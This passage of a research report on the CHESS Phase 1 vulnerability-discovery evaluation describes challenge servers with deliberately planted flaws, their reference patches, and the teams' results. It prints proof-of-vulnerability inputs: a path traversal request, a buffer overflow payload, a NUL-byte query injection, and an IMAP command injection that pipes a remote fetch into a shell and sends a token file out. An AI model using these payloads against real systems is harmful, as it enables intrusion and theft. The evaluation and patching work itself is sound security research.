(gdb) x /i $pc
=> 0x558440f45ac6 <Server::HandleNAMES()+4694>: retq
(gdb) i r $rbp
rbp            0x6f6f6f6f6f6f6f6f   0x6f6f6f6f6f6f6f6f
(gdb) x /gx $rsp
0x7ffc155da9d8: 0x6f6f6f6f6f6f6f6f
(gdb)
```

Tillary

Language	C++
McCabe Complexity	509
Weakness	Directory Traversal

"Tillary" is a web server built with Webmachine[8] techniques. It exposes a resource for reading static files and a resource for creating and reading short snippets of text called "tweets." It has a directory traversal vulnerability in the `tweets` resource:

```
sock.write("GET /tweets/../../token HTTP/1.1\r\n" +
           "Host: localhost:32768\r\n" +
           "User-Agent: curl/7.64.1\r\n" +
           "Accept: */*\r\n\r\n")
```

It's patched by checking for the `..` in the resource part of a path:

```
bool Tweets::handles(const std::filesystem::path& path) {
#ifdef PATCH_CHECK_FOR_DOTDOT
  if (path.lexically_relative(tweets_base).string().find("../") !=
      std::string::npos)
    return false;
  }
#else
  if (0 != path.string().find(tweets_base.string())) {
    return false;
  }
#endif
```

[8] Webmachine is a system for structuring a web application around performing semantically-useful operations on resources based on a flowchart and simple questions asked of the resource, instead of the more common approach of routing an HTTP request to a single procedure.

```
  return true;
}
```

Union

Language	C
McCabe Complexity	530
Weakness	Memory Corruption

“Union” is an HTTP server that implements a to-do list. When reading a POST request body, the server may overflow a buffer that is sized by the `Content-Length` header. The buffer that holds the body of the post request is a static buffer of 2048 bytes, while it keeps reading in values up to 4096 if the `Content-Length` header allows it.

The proof-of-vulnerability triggers this with a body that overwrites `rip` and `rbp`.

```
body = b''
body += b'A' * 2088
body += pack("Q" , 0x0000424242424242)
body+= b'\0'

header = b'Content-Length: %d\r\n\r\n' %len(body)

req = status_line + header + body
```

The patch for this decreases the amount it reads to be smaller than the buffer:

```
#ifndef PATCH
#define MAX_POST_SIZE 4096
#endif

#ifdef PATCH
#define MAX_POST_SIZE 2047
#endif
```

Verona

Language	C
McCabe Complexity	661
Weakness	Memory Corruption

“Verona” is an implementation of an assembler and JIT-based runtime for a 16-bit RISC architecture. Many of the instruction implementations fail to mask their operands to valid registers:

```
  case OPERAND_R:
#ifdef PATCH_VALID_REGISTER
    instruction->operands[0].reg = bytes[1] & 0x7;
#endif
#ifndef PATCH_VALID_REGISTER
    instruction->operands[0].reg = bytes[1] & 0xf;
```

```
#endif
    instruction->operands[0].type = OPERAND_REGISTER;
    instruction->num_operands = 1;
    break;
```

This causes an out-of-bounds write, and the proof-of-vulnerability uses this to launch a shell and return the contents of `/token`.

Walker

Language	C++
McCabe Complexity	595
Weakness	Code/Data Injection

"Walker" implements a portion of the IMAP[9] protocol. The vulnerability is a command injection in the `Server::HandleCreate` function. It allows the attacker to craft a command using backticks that will be executed when the `chown` command is passed to `popen`.

The PoV passes this command to the IMAP server:

```
a create inbox.hello\`curl -L pov_host:8000 | $SHELL\`world
```

The `pov_host` target needs to be set to the host running the PoV. After this command is sent, the PoV opens a listening socket on port 8000. After the challenge connects, the PoV serves up the following command:

```
curl -L localhost:8080/\`cat /token\`
```

The shell on the challenge does a final request with the data inside `/token` in the path:

```
GET /931606baaa7a2b4ef61198406f8fc3f4 HTTP/1.1
Host: localhost:8080
User-Agent: curl/7.58.0
Accept: */*
```

Xenia

Language	C
McCabe Complexity	734
Weakness	Memory Corruption

"Xenia" is a graph database, made with a C-based object system. When deleting a vertex from a malformed graph, a dangling pointer to freed space remains. This can be used to create a vertex such that, when deleted, `system("/bin/sh")` is called, which reads `/token`.

[9] "Internet Mail Access Protocol" (IMAP) is a communication standard for interacting with a mailbox. Some email configurations use IMAP to allow an email client to read and organize mail on the provider's server.

The reference patch refuses to allow the specific malformation of the graph, duplicate edges:

```
#ifdef PATCH_NO_DUPLICATE_EDGES
    unsigned int i;
    for (i = 0; i < vertex->num_successors; i++) {
        if (vertex->successors[i]->node_id == successor->node_id) {
            panic("Tried to insert duplicate edges!");
        }
    }
#endif
```

York

Language	C++
McCabe Complexity	620
Weakness	Data/Code Injection

“York” is a web server built with Webmachine techniques. It exposes resources for reading static files, and orders from a hypothetical e-commerce site. Orders can be read in a redacted form by anyone, or a viewer with the postal code can view the full order details. Postal code validation is done with a custom stack-based query language, which has a data/code injection weakness:

```
sock.write("GET /orders/#{id}\0=\"\0\"?11111 HTTP/1.1\r\n" +
           "Host: localhost:32768\r\n" +
           "User-Agent: curl/7.64.1\r\n" +
           "Accept: */*\r\n\r\n")
```

The patch is to escape string terminators from client-provided parts of the query:

```
#ifdef PATCH_ESCAPING_YAML_QUERIES
  std::string escape(const std::string& field) const {
    std::string ret = field;
    size_t first_null = ret.find_first_of('\0');
    if (std::string::npos != first_null) {
      ret.resize(first_null);
    }

    return ret;
  }

#endif

  std::string get_basic_query() const {
    std::stringstream parts;
    parts << "\"order number\0*\""s
#ifdef PATCH_ESCAPING_YAML_QUERIES
          << escape(oid)
#else
```

```
          << oid
#endif
          << "\0="s;

    return parts.str();
  }
```

Results and Discussions

The results of the CHESS Phase 1 Evaluations held in August 2020 provide valuable insight into how both an experienced team of vulnerability researchers and several teams armed with the CHESS system analyze software for weaknesses.

The below results are limited to evaluation challenges only.

Control Team Results

The control team provided twenty solutions to twelve of the fifteen evaluation challenges. Girard had source available for the control team and had no vulnerabilities proven. The control team only had binaries for Ovington and Xenia and did not provide solutions for these.

Control team results

Challenge	Source or Binary	Submitted PoVs	Acceptable PoVs	PoVs on Expected Track	PoVs Fixed by Reference Patch
Channing	B	2	2	1	1
Kane	S	3	2	0	0
Livingston	S	1	1	1	1
Pierrepont	S	1	1	0	0
Quincy	S	1	1	1	1
Remsen	B	4	1	1	1
Smith	B	1	1	1	1
Tillary	S	1	1	1	1
Union	B	3	2	1	1
Verona	S	1	0	1	0
Walker	B	1	1	1	1
York	S	1	1	1	1
Binary		11	7	5	5
Source		9	7	5	4
Grand Total		20	14	10	9

The control team received source and a binary for eight of the challenges, while the other seven challenges were binary only. While the only patch was submitted for a source-available challenge, the same number of acceptable PoVs were submitted for the slightly-fewer binary-only challenges, and there was one more binary PoV that wasn't fixed by the challenge author's reference patch.

Quincy, for which the control team had source, was the only challenge with a patch available. This patch was accepted; it fixed the control team's PoV, the reference PoV, and was otherwise basically identical to the reference patch.

CHESS System Results

CHESS teams provided twenty-two solutions to eight of the fifteen evaluation challenges. Three of the six CHESS teams had source available for analysis, and the other three only had binaries.

CHESS team results

Challenge	Submitted PoVs	Acceptable PoVs	PoVs on Expected Track	PoVs Fixed by Reference Patch	Patches Present
Channing	10	8	4	4	1
binary	5	3	2	2	0
source	5	5	2	2	1
Kane	1	0	0	0	0
binary	1	0	0	0	0
Livingston	2	1	1	1	0
source	2	1	1	1	0
Tillary	1	0	0	0	1
source	1	0	0	0	1
Union	2	1	0	0	0
binary	2	1	0	0	0
Verona	2	0	0	0	0
binary	2	0	0	0	0
Walker	1	1	1	1	0
binary	1	1	1	1	0
York	3	1	0	0	1
binary	1	0	0	0	0
source	2	1	0	0	1
Binary	12	5	3	3	0
Source	10	7	3	3	3
Grand Total	22	12	6	6	3

While source-available teams submitted more acceptable PoVs than binary-only teams, the intended vulnerabilities were generally equally-provable with or without source.

Only one patch was accepted, a patch for Channing from a source-available team. The patch fixed the CHESS team's PoV, which was unrelated to the intended vulnerability.

Intended Vulnerabilities

The eight evaluation challenges had nine intended vulnerabilities; Ovington had two distinct vulnerabilities, and the rest of the challenges had one. Fifteen of the accepted PoVs were against the intended vulnerability. These PoVs worked against the unpatched challenge, but did not work against a fully-patched challenge binary.

Unintended Vulnerabilities

Several challenges had unintended vulnerabilities demonstrated by performers.

Channing had several issues when checking authentication credentials. While a correct username and correct password is permitted and a correct username and incorrect password is correctly denied access, there are two scenarios the existing code does not account for, but proofs-of-vulnerability do account for.

The first occurs when decoding the HTTP Basic Authentication `Authorization` header. This header uses Base 64[10] encoding to isolate user credentials from HTTP message parsing. When presented with credentials that do not decode to the expected format, a Logic Error in the `checkAuth` function occurs, and the function indicates a successful authentication. This vulnerability was demonstrated by CHESS team 2, and not by the control team.

The second occurs when validating the provided username and password against the stored credentials in the access file. When presented with credentials that do not have a corresponding record in the access file, a Logic Error in the `checkAuth` function indicates a successful authentication. This vulnerability was demonstrated by the control team, CHESS team 1, and CHESS team 4.

For these particular unintended vulnerabilities, the control team and CHESS team 4 only had binaries, while CHESS team 1 and 2 had source.

These vulnerabilities in particular are interesting for improving our challenge development methodology because of how they're centered around authentication, and how they relate to the wire protocol used by the challenge. However, as the program continues into Phase 2, with more usage of open-source code developed outside the CHESS program, unintended vulnerabilities are likely to surface, and that in itself is a valuable part of the program.

[10] Base 64 is an encoding that transforms binary data into a longer representation but with a limited alphabet. This allows text-based protocols to be retrofitted to support non-alphabetic content. Base 64 is documented in RFC 4648.

Intended but Undiscovered Vulnerabilities

Several challenges had intended vulnerabilities that were not documented by performers. These represent assumptions on our part about the amount of effort that would be spent analyzing challenges and analysis methods in use by the control and CHESS teams.

On the amount of effort invested, the evaluation results were very illuminating both on the total amount of effort expended and progress that it yielded. On average, challenges with any solution had twice the analysis hours of any kind (expert, novice, and non-hacker) of the challenges with no solutions.

The undiscovered vulnerabilities in Ovington and Girard presumed the use of coverage metrics in analysis. With these metrics, traffic from testing or sampled from normal usage is used to identify parts of the program that are rarely or never used. These metrics are used to analyze test suites during development processes, and are also used internally by some fuzzing tools to guide the creation of new test cases. While the Ovington and Girard vulnerabilities were expected to be detected using this kind of analysis, these challenges had very few hours put into their analysis in general: thirty hours of time were logged on Girard by the control team, and the CHESS teams logged less than an hour each on Girard and Ovington.

We consider the undiscovered vulnerabilities in Phase 1 to be valuable for the program as a whole, both as a target for other performers to consider in later phases, and also to guide our continued challenge development. In particular, coverage metric analysis might be de-emphasized, but not removed. Coverage metrics are useful for deciding whether an unsafe feature in software should be re-architected to be safer, or removed altogether.

Vulnerabilities and Common Protocols

CHESS and control team PoVs against protocols used by challenges

Protocol	Challenges	CHESS PoVs Submitted	CHESS PoVs Accepted	Control PoVs Submitted	Control PoVs Accepted
HTTP	6	17	11	9	9
FTP	1	0	0	4	1
IMAP	1	1	1	1	1
IRC	1	0	0	1	1
Custom	6	4	1	3	2

Of our Phase 1 evaluation challenges, HTTP was the most well-represented protocol. HTTP is text-based and easy to implement and reason about, and has become extremely common in use. As a result, there is substantial interest in the security of HTTP-based applications.

It is this combination of commonality and ease of reasoning that led to 40% of our evaluation challenges using HTTP, and the familiarity with HTTP that led to 77% of the submitted PoVs and 84% of the acceptable PoVs being against HTTP challenges.

Vulnerabilities and Complexity

CHESS team PoVs against challenge complexity

Challenge	Complexity	PoVs Submitted	Acceptable PoVs
Channing	515	10	8
Kane	572	1	0
Livingston	614	2	1
Tillary	509	1	0
Union	530	2	1
Verona	661	2	0
Walker	595	1	1
York	620	3	1

Evaluation challenges ranged in cyclomatic complexity from 509 to 685, with one outlier at 18070. CHESS teams solved challenges up to 620 complexity. While the control team solved the complex outlier, no CHESS teams did.

Input/Output Systems and Proofs of Vulnerability

Phase 1 challenges used several different Input/Output (I/O) systems. Between completeing challenge development and the evaluation event, we were informed that some components of the CHESS system did not support some of these I/O systems:

- "Read/Write" in this table means the C functions that are thin wrappers around UNIX system calls (syscalls) as defined in `unistd.h`, with the availability of these syscalls determined by their return values. These functions operate on file descriptors.
- "C Stdio" refers to `stdio.h` functions like `printf`, `fgets`, and others operating on `FILE*` objects instead of file descriptors. Availability is determined by calling these functions as well.
- "Select" means the "read/write" functions, and additionally an API for determining which file descriptors have availability. The `select` function is a long-time UNIX API.
- "Poll" refers to "read/write" functions, and additionally the `poll` function, which is a more recent UNIX API that addresses some efficiency issues with `select`.
- "Epoll" refers to "read/write" functions, and the `epoll` system which is a Linux API that addresses efficiency issues with `poll` and `select`.

I/O System	Challenges	CHESS PoVs Submitted	CHESS PoVs Accepted	Control PoVs Submitted	Control PoVs Accepted
Read/Write	5	12	8	5	4
C Stdio	3	3	1	6	4
Select	1	2	1	1	1
Poll	3	1	1	6	3
Epoll	2	4	1	2	2

Conclusions

Phase 1 of CHESS was a success for our team. We were able to develop a corpus of new challenge sets for evaluating the CHESS system. The new challenge sets are of a complexity approaching “real-world” software, implementing real protocols in a useful way, and demonstrating real world vulnerabilities, both intended and unintended.

Phase 1 challenge sets are now available at https://github.com/cromulencellc/chess-aces .

Plans for Phase 2

The most significant expansions in our Phase 2 challenge development are adding challenges implemented in the Node.js JavaScript environment, and adding open-source code (in the form of both libraries and entire applications with vulnerabilities added by our team). Both of these expansions also feed in to the increased number of weaknesses in scope.

With the larger volume of code and in-scope weaknesses in play, we anticipate that more vulnerabilities demonstrated during evaluations will be unintended. This change is a valuable part of the CHESS program, as the ultimate goal of CHESS is the discovery of unintended vulnerabilities. However, we are still intending to continue our existing practices of fuzzing to ensure that novel techniques are required to discover vulnerabilities.